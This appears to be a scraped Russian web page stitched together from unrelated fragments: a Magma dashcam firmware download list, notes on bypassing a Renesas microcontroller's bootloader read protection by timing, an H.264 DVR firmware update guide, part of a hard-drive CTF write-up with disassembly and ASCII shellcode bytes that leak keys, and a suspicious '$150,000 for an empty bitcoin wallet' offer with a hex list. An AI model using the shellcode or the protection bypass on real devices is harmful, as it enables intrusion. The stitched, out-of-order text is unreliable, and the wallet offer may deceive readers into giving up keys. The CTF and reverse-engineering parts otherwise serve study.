Обновления для видеорегистратора: Обновления для видеорегистраторов и радар-детекторов
Обновление. Сервисное обслуживание. Magma — автомобильные видеорегистраторы.
Мы регулярно выпускаем обновление базы камер полицейских радаров по России и странам СНГ.
Также постоянно совершенствуем наши устройства, выпуская новое Программное Обеспечение (прошивки).
Все это вы можете скачать на нашем официальном сайте бесплатно.
Выберите Ваше устройство:
Видеорегистраторы
Magma W3
Прошивка Magma W3
magma_w3.rar
Инструкция Magma W3
instruktsiya_magma_w3.pdf
Magma W3 — Архив Фото Jpeg
magma_w3_foto_jpeg.rar
Magma W5
10.
10.2022 12:15:00
GPS-база для Magma W5 от 10.10.22
05.04.2020 12:02:00
Инструкция Magma W5
instruktsiya-magma-w5.pdf
Актуальная прошивка на Magma W5 на 400 мАч (SN2018)
magma_w5_180911_400mah_.rar
Актуальная прошивка на Magma W5 на 280 мАч (SN2017)
magma_w5.rar
Инструкция. Как обновить прошивку в MAGMA W5
instruktsiya.-kak-obnovit-proshivku-v-magma-w5.pdf
Инструкция. Как обновить базу камер в MAGMA W5
instruktsiya.
-kak-obnovit-bazu-kamer-v-magma-w5.pdf
26.08.2020 18:18:00
Программа для просмотра треков
magmaw5_drive_recorder.rar
Гибриды
Magma H5
10.10.2022
GPS-База для Magma H5 от 10.10.22
magma_db_ver2_101022.zip
24.02.2020 14:40:00
Прошивка FW v.014 для Magma H5 с короткими голосовыми оповещениями
magma_fw_vs_v014.zip
Важно! Инструкция, как обновить GPS-Базу на Magma H5
instruktsiya._kak_obnovit_bazu_kamer_v_magma_h5.doc
Важно! Инструкция, как обновить Прошивку на Magma H5
instruktsiya.
_kak_obnovit_proshivku_v_magma_h5.doc
10.01.2022
Прошивка FW v.014 для Magma H5
magma_fw_v014.zip
01.08.2016
Базовая прошивка RD v2.10
magma_rd_v210.zip
Полная инструкция по эксплуатации на Magma H5
polnaya_instruktsiya_na_gibrid_magma_h5.pdf
Magma H5 — Архив фото Jpeg
arkhiv_foto_jpeg_magma_h5.rar
Радар-детекторы
Magma R5
10.10.2022
GPS-База и прошивка для Magma R5 от 10.
10.22
magmar5_f0133_v0209_d101022_s0104.zip
- 10.10.2022 15:08:00
GPS-База и прошивка с короткими оповещениями от 10.10.22
magmar5_f0133_v0210_d101022_s0104.zip
Важно! Инструкция, как обновить Magma R5
kak_obnovit_radar_detektor_magma_v4.90_1_instruktsiya.doc
Полная инструкция по эксплуатации Magma R5
polnaya_instruktsiya_na_radar_detektor_magma_r5.pdf
Magma R5 — Архив Фото Jpeg
magma_r5_arkhiv_foto_jpeg.rar
Программа для обновления ПО
magma-updater-v4.
94
10.10.2022 15:09:00
GPS-База и прошивка с мужскими голосовыми оповещениями от 10.10.22
magmar5_f0133_v0211_d101022_s0104.zip
10.10.2022 15:11:00
GPS-База и прошивка с короткими мужскими голосовыми оповещениями от 10.10.22
magmar5_f0133_v0212_d101022_s0104.zip
Magma R7
Полная инструкция по эксплуатации Magma R7
manual_magmar7.pdf
10.10.2022 18:12:00
GPS-База и прошивка с мужскими голосовыми оповещениями от 10.10.22
magmar7_f0135_v0301_d101022_s0104.zip
10.
10.2022 18:31:00
GPS-База и прошивка для Magma R7 от 10.10.22
magmar7_f0135_v0701_d101022_s0104.zip
30.12.2021 18:33:00
Важно! Инструкция, как обновить Magma R7
kak_obnovit_radar_detektor_magma_v4.94_1_instruktsiya.doc30.12.2021 18:37:00
Программа для обновления ПО
magma-updater-v4.95
10.10.2022 17:44:00
GPS-База и прошивка с урезанными мужскими голосовыми оповещениями от 10.10.22
magmar7_f0135_v0401_d101022_s0104.zip
10.10.2022 17:42:00
GPS-База и прошивка для Magma R7 с урезанными голосовыми оповещениями от 10.
10.22
magmar7_f0135_v0601_d101022_s0104.zip
© 2004-2022 Magma. Видеорегистраторы. Радар-Детекторы. Антирадары. Все права защищены. Информация на сайте не является публичной офертой.
Как обновить прошивку китайских цифровых видеорегистраторов H.264?
Содержание
- 1 Как вытащить из устройства то, что разработчики втащили
- 2 150 000$ за пустой биткоин-кошелек!
- 3 Ascii шеллкод
- 4 Level3
- 5 Второй
- 6 Жалкие попытки
- 7 Как обновить прошивку китайских цифровых видеорегистраторов h.264?
- 8 Меняем прошивку
- 9 Может потыкать железяку?
- 10 Немного о самом микроконтроллере
- 11 О защите от считывания
- 12 Отличия
- 13 Первый
- 14 Первый блин — граблями
- 15 Пишем
- 16 Сложность
- 17 Тестим шеллкод
- 18 Третий
- 19 Успех!
- 20 Четвертый
- 21 Эпилог
- 21.
1 Узнайте больше о Huawei
- 21.
Как вытащить из устройства то, что разработчики втащили
Вполне естественно, что начинать попытки достать что-то из микроконтроллера нужно с изучения механизмов, которые встроены разработчиком чипа для задач программирования памяти. В мануале указано, что производитель любезно разместил в памяти загрузчик, для нужд внутрисхемного программирования устройства.
Как видно из картинки выше, память разбита на 2 части: пользовательская область, и область загрузчика. Во второй как раз с завода залит загрузчик по умолчанию, который умеет писать, читать, стирать пользовательскую память и общается через асинхронный, синхронный, либо CAN-интерфейс.
Указано, что он может быть переписан на свой, а может быть и не переписан. В конце концов это легко проверяется попыткой постучаться к стандартному загрузчику хотя-бы через UART… Забегая вперед: производитель отопителя не стал заморачиваться своим загрузчиком, поэтом копать дальше можно в этом направлении.
Вход в режим работы загрузчика обеспечивается определенной комбинацией на входах CNVSS, P5_0, P5_5 во время аппаратного сброса. Дальше либо написать свою утилиту для копирования содержимого памяти, либо использовать готовую. Renesas предоставляет свою утилиту, которая называется «M16C Flash Starter», но функция чтения у нее урезана.
Она не сохраняет прочитанное на диск, а сравнивает его с файлом с диска. Т.е. по сути это не чтение, а верификация. Однако есть немецкая свободная утилитка с названием M16C-Flasher, которая вычитывать прошивку умеет. В общем начальный инструментарий подобрался.
150 000$ за пустой биткоин-кошелек!
150 000$ или 3 Btc за пустой биткойн-кошелек
И так, главное:
Ниже список биткоин-кошельков с нулевым балансом. Все кошельки начинаются на 1.
Кошельки указаны как координата Х (!). Каждая координата Х — имеет 2 координаты Y,
соответственно, с одной координаты Х образуется 4 кошелька (2 несжатых и 2 сжатых).
Мне не важно, какая координата Y, ВАЖНО — это координата Х (!).
Условия:
— Полное совпадение с одной из координат Х в списке;
— Ключ формата HEX или WIF;
Если Ви нашли или сгенерировали биткоин-кошелек, который начинается на 1 и
имеет одну из координат Х в списке (точное совпадение!), пожалуйста, напишите
мне на почту «[email protected]«.
Для того чтобы Вы получили своё вознаграждение, мне необходимо использовать один из
кошельков в списке, по другому — никак. По этому, если Ваш биткоин-кошелек соответствует
одной из координат Х в списке, Вы получите 150 000$ или 3 Btc в тот же день. Всё чесно.
Каждый из нас стремится заработать, и мне более чем, выгодно подарить 3 btc за помощь.
Предложение действуе до 5.05.2021 (предварительно) или пока не будет предоставлен один из кошельков в списке.
Как только кошелек будет определен, тема будет закрыта.
P.S.
Максимум что Вы можете потерять — это пустой кошелек, а можете получить счастливый билет на 150 000$!
Для проверки публичного адреса кошелька или генерации нового, можете использовать (НЕ РЕКЛАМА)
SECRETSCAN. org, BITADDRESS.org, BRAINWALLETX.github.io или аналогичные сервисы.
================================================================================================
$ 150,000 or 3 Btc for an empty bitcoin wallet
And so, the main thing:
Below is a list of zero balance bitcoin wallets. All wallets start with 1.
Wallets are specified as the X coordinate (!). Each X coordinate — has 2 Y coordinates,
accordingly, 4 wallets are formed from one X coordinate (2 uncompressed and 2 compressed).
It doesn’t matter to me what the Y coordinate is, IMPORTANT is the X coordinate (!).
Conditions:
— Full match with one of the X coordinates in the list;
— HEX or WIF format key;
If V found or generated a bitcoin wallet that starts with 1 and
has one of the X coordinates in the list (exact match!), please write
me to the mail «[email protected]«.
In order for you to receive your reward, I need to use one of
wallets in the list, otherwise — nothing. Therefore, if your bitcoin wallet matches
one of the X coordinates in the list, you will receive $ 150,000 or 3 Btc on the same day. It’s all fair.
Each of us strives to make money, and it is more than beneficial for me to give 3 btc for help.
The offer is valid until 05/05/2021 (preliminary) or until one of the wallets in the list is provided.
Once the wallet has been identified, the topic will be closed.
P.S.
The most you can lose is an empty wallet, or you can get a $ 150,000 lucky ticket!
To check the public address of the wallet or generate a new one, you can use (NOT ADVERTISING)
SECRETSCAN.org, BITADDRESS.org, BRAINWALLETX.github.io or similar services.
================================================================================================
1789b06c6a6db454372dd1b6c4bf36a2c1f60c9c3ad0db7e99f772f19d06395d
1787d2e313814d2d3a2e39f377253d33c3f75730ddd80d61b66dca6fb6e94420
1780af651b4c689b1d46a0d09d50ccd1c0828fdc6df7562977e28f95a3fcce1f
127a63fc3c4963c87b56a570bd08fc9f63a9677371949efd3c1d0078a4f1df90
130b8c63e0e2ad06753cbb22d3c760f5603654e76c835552b9f4990db9cf97e4
130eade255f1a2ea89a9c6c428f6835998ec2048c99cc0bf35510d0ad8844c6c
130ee4592da5c2d92295f2c34c35f83100513856b630af7230051d774eee6268
130e309a1d3af34bda90c537996b37ae61bdc6603967e3b6d51e3ad67240c057
131bd510db43923ddcf540b6044ff079d9545eb25db0aaaa99c60346a8871c1c
132fa546e2bf1031f1bec64448141e391a0851f50d5c57c231398f434a8f8575
140e547f96bf122464aea8b9188dc96cf9904417b0a2bd57d28d3fe1a02a30ad
145ea436a8bda4501ad2c81ca39bfd5eb70a5e6f9d41b2d87222e296cc4529fe
147b13913108fc10be6cb38429f57e992e5d79a6f3998b1dfe8ff6 …
Скачайте файл . txt с полным списком (700 )
================================================================================================
Download txt file with full data (700 )
Ascii шеллкод
Ответить на вопрос о том, что же такое шеллкод в полном обьеме, я, наверное не смогу. Но, в моей голове ответ выглядит так:
Первая часть отвечает за абьюз уязвимости. То есть, это код, который использует специальные механики, такие как buffer overflow, race condition, use-after-free и тд. для того, чтоб заставить систему исполнить вторую часть эксплоита.
А вторая часть — это уже то, что должен исполнить процессор после того, как эксплоит получил контроль над уязвимой системой. Это и есть наш шеллкод. Он может быть очень разным. Это зависит от того, что мы хотим получить от взломанной системы.
Мы можем использовать в качестве шеллкода код для скрытого майнинга крипты, запустить процесс bash и присоединить его дескрипторы через сокет к удаленному ПК (и таким образом получить шелл на взломанный комп). По сути, шеллкод это то, чем мы нагружаем процессор после взлома системы.
Стоит сказать, что такой код может быть только машинным. Потому что подсовывать высокоуровневый код, компилировать его на взломанном ПК, а потом исполнять — будет ну прям совсем изобретенным велосипедом. В процессе написания шеллкода нужно так же учитывать то, что он должен быть незаметным и маленьким по размеру.
Самая значимая часть статьи на phrack.org это ASCII. Дело в том, что очень много систем принимают в качестве пользовательского ввода как-раз таки данные в ASCII формате (наш диск не исключение — кроме текста, символов и цифр писать в консольник ничего нельзя).
В статье описано несколько механик о том, как писать шеллкод, используя только числа в диапазоне от 0x20 до 0x7E. И, мало того, каждый код операции процессора разбивается на биты, и рассказывается почему одна операция проходит ASCII «фильтр», а другая нет. Статью писал истинный гений!
В этот раз, я покажу файл level_3.html целиком. Ведь он гораздо меньше, чем на предыдущем уровне.
level_3.html<code>001. ROM:00332D30 002. ROM:00332D30 ; Segment type: Pure code 003. ROM:00332D30 AREA ROM, CODE, READWRITE, ALIGN=0 004. ROM:00332D30 ; ORG 0x332D30 005. ROM:00332D30 CODE16 006. ROM:00332D30 007. ROM:00332D30 ; =============== S U B R O U T I N E ======================================= 008. ROM:00332D30 009. ROM:00332D30 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table) 010. ROM:00332D30 ; Function called when serial console input is 'R'. Generates key parts in R0-R3. 011. ROM:00332D30 ; The next level to reach, the key parts to print you must! 012. ROM:00332D30 013. ROM:00332D30 generate_key 014.ROM:00332D30 015. ROM:00332D30 var_A8 = -0xA8 016. ROM:00332D30 017. ROM:00332D30 PUSH {R4-R7,LR} 018. ROM:00332D32 SUB SP, SP, #0x90 019. ROM:00332D34 MOVS R7, R1 020. ROM:00332D36 MOVS R4, R2 021. ROM:00332D38 MOVS R5, R0 022. ROM:00332D3A MOV R1, SP 023. ROM:00332D3C LDR R0, =0x35A05C ; "SP: %x" 024. ROM:00332D3E LDR R3, =0x68B08D 025. ROM:00332D40 NOP 026. ROM:00332D42 LDR R1, =0x6213600 ; "R"... 027. ROM:00332D44 MOV R2, SP 028. ROM:00332D46 029. ROM:00332D46 loc_332D46 ; CODE XREF: generate_key 22j 030. ROM:00332D46 LDRB R6, [R1] 031. ROM:00332D48 ADDS R1, R1, #1 032. ROM:00332D4A CMP R6, #0xD 033.
ROM:00332D4C BEQ loc_332D54 034. ROM:00332D4E STRB R6, [R2] 035. ROM:00332D50 ADDS R2, R2, #1 036. ROM:00332D52 B loc_332D46 037. ROM:00332D54 ; --------------------------------------------------------------------------- 038. ROM:00332D54 039. ROM:00332D54 loc_332D54 ; CODE XREF: generate_key 1Cj 040. ROM:00332D54 SUBS R6, #0xD 041. ROM:00332D56 STRB R6, [R2] 042. ROM:00332D58 SUBS R5, #0x49 ; 'I' 043. ROM:00332D5A CMP R5, #9 044. ROM:00332D5C BGT loc_332E14 045. ROM:00332D5E LSLS R5, R5, #1 046. ROM:00332D60 ADDS R5, R5, #6 047. ROM:00332D62 MOV R0, PC 048. ROM:00332D64 ADDS R5, R0, R5 049. ROM:00332D66 LDRH R0, [R5] 050. ROM:00332D68 ADDS R0, R0, R5 051. ROM:00332D6A BX R0 052. ROM:00332D6A ; --------------------------------------------------------------------------- 053. ROM:00332D6C DCW 0x15 054. ROM:00332D6E DCW 0xA6 055. ROM:00332D70 DCW 0xA4 056. ROM:00332D72 DCW 0xA2 057. ROM:00332D74 DCW 0xA0 058. ROM:00332D76 DCW 0x9E 059. ROM:00332D78 DCW 0x30 060. ROM:00332D7A DCW 0x52 061. ROM:00332D7C DCW 0x98 062. ROM:00332D7E DCW 0xE 063. ROM:00332D80 ; --------------------------------------------------------------------------- 064. ROM:00332D80 065. ROM:00332D80 key_part1 066. ROM:00332D80 LDR R0, [R4] 067. ROM:00332D82 MOVS R6, #1 068. ROM:00332D84 STR R6, [R7] 069. ROM:00332D86 BLX loc_332E28 070.
ROM:00332D86 ; --------------------------------------------------------------------------- 071. ROM:00332D8A CODE32 072. ROM:00332D8A DCB 0 073. ROM:00332D8B DCB 0 074. ROM:00332D8C ; --------------------------------------------------------------------------- 075. ROM:00332D8C 076. ROM:00332D8C key_part2 077. ROM:00332D8C LDR R6, [R7] 078. ROM:00332D90 CMP R6, #1 079. ROM:00332D94 LDREQ R1, [R4,#4] 080. ROM:00332D98 EOREQ R1, R1, R0 081. ROM:00332D9C MOVEQ R6, #1 082. ROM:00332DA0 STREQ R6, [R7,#4] 083. ROM:00332DA4 B loc_332E28 084. ROM:00332DA8 ; --------------------------------------------------------------------------- 085. ROM:00332DA8 086. ROM:00332DA8 key_part3 087. ROM:00332DA8 LDR R6, [R7] 088. ROM:00332DAC CMP R6, #1 089.
ROM:00332DB0 LDREQ R6, [R7,#4] 090. ROM:00332DB4 CMPEQ R6, #1 091. ROM:00332DB8 LDREQ R2, [R4,#8] 092. ROM:00332DBC EOREQ R2, R2, R1 093. ROM:00332DC0 MOVEQ R6, #1 094. ROM:00332DC4 STREQ R6, [R7,#8] 095. ROM:00332DC8 B loc_332E28 096. ROM:00332DCC ; --------------------------------------------------------------------------- 097. ROM:00332DCC 098. ROM:00332DCC key_part4 099. ROM:00332DCC LDR R6, [R7] 100. ROM:00332DD0 CMP R6, #1 101. ROM:00332DD4 LDREQ R6, [R7,#4] 102. ROM:00332DD8 CMPEQ R6, #1 103. ROM:00332DDC LDREQ R6, [R7,#8] 104. ROM:00332DE0 CMPEQ R6, #1 105. ROM:00332DE4 LDREQ R3, [R4,#0xC] 106. ROM:00332DE8 EOREQ R3, R3, R2 107.
ROM:00332DEC MOVEQ R6, #1 108. ROM:00332DF0 STREQ R6, [R7,#8] 109. ROM:00332DF4 LDR R4, =0x35A036 ; "Key Generated: %s%s%s%s" 110. ROM:00332DF8 SUB SP, SP, #4 111. ROM:00332DFC STR R0, [SP,#0xA8 var_A8] 112. ROM:00332E00 MOVS R0, R4 113. ROM:00332E04 LDR R4, dword_332E40 4 114. ROM:00332E08 BLX R4 115. ROM:00332E0C ADD SP, SP, #4 116. ROM:00332E10 117. ROM:00332E10 loc_332E10 ; CODE XREF: generate_key:loc_332E10j 118. ROM:00332E10 B loc_332E10 119. ROM:00332E14 ; --------------------------------------------------------------------------- 120. ROM:00332E14 CODE16 121. ROM:00332E14 122. ROM:00332E14 loc_332E14 ; CODE XREF: generate_key 2Cj 123.
ROM:00332E14 LDR R4, =0x35A020 ; "key not generated" 124. ROM:00332E16 SUB SP, SP, #4 125. ROM:00332E18 STR R0, [SP,#0xA8 var_A8] 126. ROM:00332E1A MOVS R0, R4 127. ROM:00332E1C LDR R4, =0x68B08D 128. ROM:00332E1E BLX R4 129. ROM:00332E20 ADD SP, SP, #4 130. ROM:00332E22 BLX loc_332E28 131. ROM:00332E26 MOVS R0, R0 132. ROM:00332E26 ; End of function generate_key 133. ROM:00332E26 134. ROM:00332E28 CODE32 135. ROM:00332E28 136. ROM:00332E28 loc_332E28 ; CODE XREF: generate_key 56p 137. ROM:00332E28 ; generate_key 74j ... 138. ROM:00332E28 ADD SP, SP, #0xA0 139. ROM:00332E2C LDR LR, [SP],#4 140. ROM:00332E30 BX LR 141.
ROM:00332E30 ; --------------------------------------------------------------------------- 142. ROM:00332E34 dword_332E34 DCD 0x35A05C ; DATA XREF: generate_key Cr 143. ROM:00332E38 dword_332E38 DCD 0x68B08D ; DATA XREF: generate_key Er 144. ROM:00332E3C dword_332E3C DCD 0x6213600 ; DATA XREF: generate_key 12r 145. ROM:00332E40 dword_332E40 DCD 0x35A036, 0x68B08D ; DATA XREF: generate_key C4r 146. ROM:00332E40 ; generate_key D4r 147. ROM:00332E48 dword_332E48 DCD 0x35A020 ; DATA XREF: generate_key:loc_332E14r 148. ROM:00332E4C off_332E4C DCD 0x68B08D ; DATA XREF: generate_key ECr 149. ROM:00332E50 DCD 0 150. ROM:00332E50 ; ROM ends 151. ROM:00332E50 152. ROM:00332E50 END</code>
Level3
По традиции, я начну с короткого содержания раздела диска:
Второй
Для всех дальнейших ключей нам надо сделать следующее. Здесь вы видите части из level_3.html, где ключи расставляются в регистры R1-R3:
<code>... 079. ROM:00332D94 LDREQ R1, [R4,#4] 080. ROM:00332D98 EOREQ R1, R1, R0 ... 091. ROM:00332DB8 LDREQ R2, [R4,#8] 092. ROM:00332DBC EOREQ R2, R2, R1 ... 105. ROM:00332DE4 LDREQ R3, [R4,#0xC] 106. ROM:00332DE8 EOREQ R3, R3, R2 ...</code>
Как видим, каждый следующий ключ зависим от предыдущего через EOR. Из-за такой зависимости, для второго ключа, мы должны где-то хранить первый. Для третьего мы должны где-то хранить второй и тд. Инструкций с приставкой -EQ нету в Thumb. Они нам и не нужны.
Пробуем сделать второй ключ:
<code>1. STR R3, [R7] = 0x3B 0x60 = ";`" 2. LDR R5, [R7] = 0x3D 0x68 = "=h" 3. LDR R1, [R4, #4] = 0x61 0x68 = "ah" 4. EORS R1, R0 = 0x41 0x40 = "[email protected]" 5.STR R1, [R7] = 0x39 0x60 = "9`" 6. LDR R0, [R7] = 0x38 0x68 = "8h" 7. BX R5 = 0x28 0x47 = "(G"</code>
Сохраняем адрес pfintf в память, куда указывает R7
Подгружаем адрес printf из памяти в R5
Грузим второй ключ по правилам из level_3.html в R1
Делаем EORS с первым ключом из R0 и сохраняем в R1. Второй ключ готов
Сохраняем его в память, куда указывает R7
Подгружаем его в R0
Триггерим printf
Все инструкции проходят фильтр. Пробуем и радуемся — вот наш второй ключ!
<code>F3 T>R!;`[email protected]`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! {, DOWNLOAD_MICROCODE_FUTURE_USE_ONLY LED:000000EE FAddr:002C7B5C LED:000000EE FAddr:002C7B5C</code>
Жалкие попытки
Как я и говорил в начале этой публикации, у меня ушло невероятно много времени, чтоб понять как взломать эту ерунду. Друзья, провальные попытки — тоже попытки. Поэтому, пройдемся по тем безуспешным шагам, которые я попробовал, но которые не увенчались успехом.
Как обновить прошивку китайских цифровых видеорегистраторов h.264?
Инструмент обновления цифрового видеорегистратора H.264 позволяет обновлять микропрограмму стандартного цифрового видеорегистратора с помощью компьютера или ноутбука.
Инструмент устанавливается на компьютер, а затем связывается с видеорегистратором через локальную сеть.
Итак, если у вас есть H.264 DVR или H.265 NVR (стандартные OEM) регистраторы и вам нужно обновить свое устройство до последней прошивки, используйте этот бесплатный инструмент, чтобы легко и безопасно обновить его.
Давайте сначала проясним, что такое DVR H.264. Эти типы видеорегистраторов производятся в Китае на базе чипсета HiSilicon и продаются по всему миру.
Обычно надпись на устройстве просто гласит «Цифровой видеорегистратор», «H.264 DVR», «Сетевой видеорегистратор», «H. 265 NVR», или продавец размещает на нем свою собственную торговую марку.
В любом случае, все они производятся одной компанией и используют один и тот же тип чипсета, например, HiSilicon модели Hi3520D Hi3520A, Hi3521, Hi3521A, Hi3531, Hi3531A, Hi3535, Hi3736, Hi3537, Hi3538.
Существует три метода обновления прошивки: один — с помощью инструмента обновления на компьютере, другой — непосредственно на цифровом видеорегистраторе с помощью USB-накопителя или удаленно. Ниже мы объясним оба этих метода.
Обновление прошивки H.264 DVR
Инструмент обновления прошивки DVR — это небольшое программное обеспечение, которое позволяет вам установить прошивку на устройство через компьютер или ноутбук.
По сути, инструмент (официально названный Диспетчер устройств DVR ) будет сканировать сеть и обнаруживать в сети любые видеорегистраторы, камеры и видеорегистраторы.
Загрузите этот инструмент по этой ссылке с Google Диск и установите его на свой компьютер. Он работает только на компьютерах с Windows и версии ПО только на английском и китайском языках.
Далее вам нужно найти файл прошивки, который работает для вашей модели видеорегистратора H.264.
Ознакомьтесь со списком прошивок H.264 DVR и загрузите ту, которая соответствует номеру модели вашего DVR.
Также вы можете связаться с продавцом или дилером, у которого было приобретено устройство.
Это важный шаг, убедитесь, что у вас ПРАВИЛЬНАЯ прошивка. Если он неправильный, есть небольшой шанс испортить и повредить весь блок.
После этого нужно выполнить следующие шаги:
- Установите инструмент обновления ( Диспетчер устройств DVR ) на свой компьютер.
- Убедитесь, что видеорегистратор и компьютер находятся в одной сети. Таким образом, они оба должны получить доступ в Интернет от одного и того же маршрутизатора / Wi-Fi.
- Запустите инструмент обновления и нажмите «IP Search» . Инструмент выведет список всех устройств видеонаблюдения, обнаруженных в сети. Выберите свой DVR из списка.
- Нажмите «Обзор» и найдите прошивку на своем компьютере.
- Нажмите «Обновить» и дождитесь обновления прошивки.
- После завершения обновления вы должны услышать длинный звуковой сигнал, и DVR перезагрузится.
- Когда он снова появится в сети, войдите в меню и проверьте раздел «Версия», чтобы убедиться, что он обновлен. Многие агрегаты отказываются обновляться.
Обновление с помощью USB-накопителя
Как мы уже упоминали, неправильное обновление прошивки может привести к повреждению или неисправности цифрового видеорегистратора, поэтому внимательно следуйте инструкциям.
Прежде всего, загрузите нужную прошивку на свой компьютер. Распакуйте zip-файл и скопируйте все файлы, найденные в корневом каталоге USB-накопителя.
Подключите USB-накопитель к свободному USB-порту, расположенному на передней (или задней) DVR.
Войдите в DVR, используя свою учетную запись администратора.
Перейдите в раздел «Система», а затем перейдите в раздел « Обновить» . Выберите файл с USB-накопителя и нажмите «Отправить».
Позвольте DVR обработать обновление. Очень важно не перезапускать и не отключать питание DVR в это время.
После завершения обновления видеорегистратор перезагрузится и будет готов к использованию.
Если вы видите сообщение об ошибке «Вставьте USB», которое не исчезает через несколько секунд, проверьте подключение USB-устройства и убедитесь, что на USB-накопитель скопирована правильная прошивка. Кроме того, вы можете попробовать использовать другой USB-накопитель.
Обновление прошивки удаленно
Обновление прошивки цифрового видеорегистратора H.264 через Интернет может быть рискованным, если соединение прерывается или ненадежно; поэтому рекомендуется выполнять обновление микропрограмм локально с помощью USB-накопителя или инструмента обновления.
Если вы не смогли успешно настроить DVR для удаленного доступа, вы должны сделать это, прежде чем продолжить обновление прошивки.
Удаленное обновление также можно выполнить с помощью программного обеспечения CMS Video Viewer. Обратитесь к руководству по вашей CMS для получения дополнительной информации.
Шаги по удаленному обновлению DVR:
- Загрузите файл прошивки для вашего DVR (см. Пояснения выше).
- Распакуйте zip-файл и скопируйте все файлы, найденные в корневом каталоге USB-накопителя.
- В Internet Explorer войдите в свой DVR удаленно, используя учетную запись администратора. Если по какой-либо причине невозможно получить удаленный доступ к DVR, остановите этот процесс обновления прошивки и устраните проблему с подключением, прежде чем продолжить.
- После входа в систему перейдите на вкладку «Конфигурация» и щелкните ссылку «Настроить» в разделе « Общие». (Если вы не видите вкладку конфигурации, проверьте, имеет ли входящая в систему учетная запись права администратора, и убедитесь, что вы используете совместимый браузер, например Internet Explorer.)
- В разделе « Обновление прошивки» щелкните значок с красным знаком плюса ( ) и перейдите в папку, в которую вы ранее распаковали файлы прошивки.
- Добавьте ВСЕ файлы по одному в любом порядке. Когда все файлы, найденные в пакете прошивки, будут перечислены на странице «Обновить прошивку», нажмите кнопку «Обновить» . НЕ перезапускайте, не отключайте и не выключайте питание DVR в это время.
- DVR перезагрузится, а затем проверит информацию о версии, чтобы убедиться, что обновление прошло.
В этой статье мы показали три метода, которые можно использовать для обновления видеорегистраторов H.264, основанных на наборах микросхем HiSilicon.
Попробуйте выполнить обновление через USB-накопитель или с помощью инструмента обновления, мы не рекомендуем выполнять обновление удаленно, так как соединение может пропасть, а процесс обновления из-за этого прервется. Это, к сожалению, приведет к повреждению устройства.
Да, и не забудьте, что для обновления вам необходимо использовать пароль администратора.
Меняем прошивку
Первая мысль была загрузить файл level_3.lod в дизассемблер, найти место, которое будет похожим на то, что я вижу в level_3. html, отредактировать пару значений, и залить прошивку обратно на диск. Я воспользовался Hopper Disassembler, и все таки нашел это место!
Очень странно то, что каждая вторая строка кода была совсем не похожа на то, что я вижу в level_3.html. Возможно, это была какая-то контрольная сумма, или же логика прошивальщика seaflashlin_rbs работает специфичным образом. Так или иначе, чисто для тестов, я изменил парочку значений.
Но, когда я попытался прошить диск, утилита seaflashlin_rbs завершалась с ошибкой. И, после прошивки, мои изменения не применились.
Может потыкать железяку?
Немного погуглив, я понял что каждый чип (IC) имеет такую штуку как JTAG. Это своеобразный интерфейс для тестирования чипа. Через него можно отдать команду процессору остановить исполнение кода, и переключиться в debug-режим. С помощью openocd можно «транслировать» debug-режимы различных чипов, и вывести порт для gdb.
А уже с gdb можно попросить процессор показать определенные участки памяти, да и вообще слить всю память, которая находится в рабочем пространстве процессора. Если мы совершим подобное, мы отыщем функцию generate_key в огромном дампе памяти, и по референсам сможем найти все ключи!
Для подобной манипуляции есть парочка нюансов:
Немного о самом микроконтроллере
Камешек представляет собой 16-разрядный микроконтроллер в 100-выводном QFP корпусе. Ядро имеет 1 МБайт адресного пространства, тактовая частота 20МГц для автомобильного исполнения. Набор периферии так же весьма обширный: два 16-разрядных таймера и возможность генерации 3-фазного ШИМ для управления моторами, всякие UART, SPI, I2C естественно, 2 канала DMA, имеется встроенный CAN2.0B контроллер, а также PLL. На мой взгляд очень неплохо для старичка. Вот обзорная схемка из документации:
Так как моя задача выдрать ПО, то так же весьма интересует память. Данный МК выпускался в двух вариантах: масочном и Flash. Ко мне попал, как выше уже упоминалось, M306N5FCTFP. Про него в описании сказано следующее:
О защите от считывания
Все бы было совсем просто, если бы в загрузчике не была предусмотрена защита от несанкционированного доступа. Я просто приведу очень вольный перевод из мануала.
Функция проверки идентификатора
Используется в последовательном и CAN режимах обмена. Идентификатор, переданный программатором, сравнивается с идентификатором, записанным во flash памяти. Если идентификаторы не совпадают, команды, отправляемые программатором, не принимаются. Однако, если 4 байта вектора сброса равны FFFFFFFFh, идентификаторы не сравниваются, позволяя всем командам выполняться.
Таким образом, чтобы получить доступ к программе, нужно знать заветные 7 байт. Опять же, забегая вперед, я подключился к МК, используя тот же «M16C Flash Starter» и убедился, что комбинации из нулей и FF не проходят и этот вопрос придется как то решать.
Здесь сразу же всплыла мысль с атакой по сторонним каналам. Уже начал прикидывать в голове платку, позволяющую измерять ток в цепи питания, но решил, что интернет большой и большинство велосипедов уже изобретено. Вбив несколько поисковых запросов, довольно быстро нашел на hackaday.
io проект Serge ‘q3k’ Bazanski, с названием «Reverse engineering Toshiba R100 BIOS». И в рамках этого проекта автор решал по сути точно такую же задачу: добыча встроенного ПО из МК M306K9FCLR. Более того — на тот момент задача им была уже успешно решена.
В двух словах, q3k точно по такой же логике начал изучение с анализа потребляемого тока, в этом плане он был в гораздо более выгодных условиях, т.к. у него был ChipWhisperer, этой штукой я до сих пор не обзавелся. Но т.к. его первый зонд для снятия тока потребления оказался неподходящим и вычленить из шумов что-то полезное у него не получилось, он решил попробовать простенькую атаку на время отклика.
Дело в том, что загрузчик во время выполнения команды дергает вывод BUSY, чтобы проинформировать хост о том, занят он, или готов выполнять следующую команду. Вот, по предположению q3k, замер времени от передачи последнего бита идентификатора до снятия флага занятости мог послужить источником информации при переборе.
При проверке этого предположения перебором первого байта ключа действительно было обнаружено отклонение по времени только в одном случае — когда первый байт был равен FFh. Для удобства измерения времени автор даже замедлил МК, отключив кварцевый резонатор и подав на тактовый вход меандр 666кГц, для упрощения процедуры измерений. После чего идентификатор был успешно подобран и ПО было извлечено.
Отличия
Огооо! Первый блин комом. Здесь нету функции ahex2byte. Без конвертации вводимых символов в бинарные, мы уж точно не сможем прыгнуть по адресам каждого из ключа. То есть, у нас не получится взломать этот уровень так же, как и предыдущий. Оно и не дурно — задачка то новая!
